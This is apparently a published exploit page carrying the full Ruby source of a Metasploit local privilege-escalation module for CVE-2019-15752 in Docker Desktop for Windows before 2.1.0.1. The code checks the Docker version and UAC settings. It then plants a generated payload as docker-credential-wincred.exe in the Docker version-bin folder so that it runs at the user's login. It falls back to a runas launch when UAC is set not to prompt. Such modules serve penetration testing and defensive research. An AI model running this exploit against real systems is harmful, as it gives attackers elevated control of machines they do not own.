Docker-Credential-Wincred.exe Privilege Escalation

This Metasploit module exploit leverages a vulnerability in Docker Desktop Community Edition versions prior to 2.1.0.1 where an attacker can write a payload to a lower-privileged area to be executed automatically by the docker user at login.


MD5 | 73cfc43671ac78dd1408929cc81132f0

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ManualRanking

include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Post::Windows::Priv
include Post::Windows::Runas

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Docker-Credential-Wincred.exe Privilege Escalation',
'Description' => %q{
This exploit leverages a vulnerability in docker desktop
community editions prior to 2.1.0.1 where an attacker can write
a payload to a lower-privileged area to be executed
automatically by the docker user at login.
},
'License' => MSF_LICENSE,
'Author' => [
'Morgan Roman', # discovery
'bwatters-r7', # metasploit module
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' => [[ 'Automatic', {} ]],
'DefaultTarget' => 0,
'DefaultOptions' => {
'WfsDelay' => 15
},
'DisclosureDate' => '2019-07-05',
'Notes' =>
{
'SideEffects' => [ ARTIFACTS_ON_DISK ]
},
'References' => [
['CVE', '2019-15752'],
['URL', 'https://medium.com/@morgan.henry.roman/elevation-of-privilege-in-docker-for-windows-2fd8450b478e']
]
)
)
register_options(
[OptString.new('PROGRAMDATA', [true, 'Path to docker version-bin.', '%PROGRAMDATA%'])]
)
end

def docker_version
output = cmd_exec('cmd.exe', '/c docker -v')
vprint_status(output)
version_string = output.match(/(\d+\.)(\d+\.)(\d)/)[0]
Gem::Version.new(version_string.split('.').map(&:to_i).join('.'))
end

def check
if docker_version <= Gem::Version.new('18.09.0')
return CheckCode::Appears
end

CheckCode::Safe
end

def exploit
check_permissions!
case get_uac_level
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
fail_with(Failure::NotVulnerable,
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
when UAC_DEFAULT
print_good('UAC is set to Default')
print_good('BypassUAC can bypass this setting, continuing...')
when UAC_NO_PROMPT
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
shell_execute_exe
return
end

# make payload
docker_path = expand_path("#{datastore['PROGRAMDATA']}\\DockerDesktop\\version-bin")
fail_with(Failure::NotFound, 'Vulnerable Docker path is not on system') unless directory?(docker_path)
payload_name = 'docker-credential-wincred.exe'
payload_pathname = "#{docker_path}\\#{payload_name}"
vprint_status('Making Payload')
payload = generate_payload_exe

# upload Payload
vprint_status("Uploading Payload to #{payload_pathname}")
write_file(payload_pathname, payload)
vprint_status('Payload Upload Complete')
print_status('Waiting for user to attempt to login')
end

def check_permissions!
unless check == Exploit::CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
# Check if you are an admin
# is_in_admin_group can be nil, true, or false
end
end

Related Posts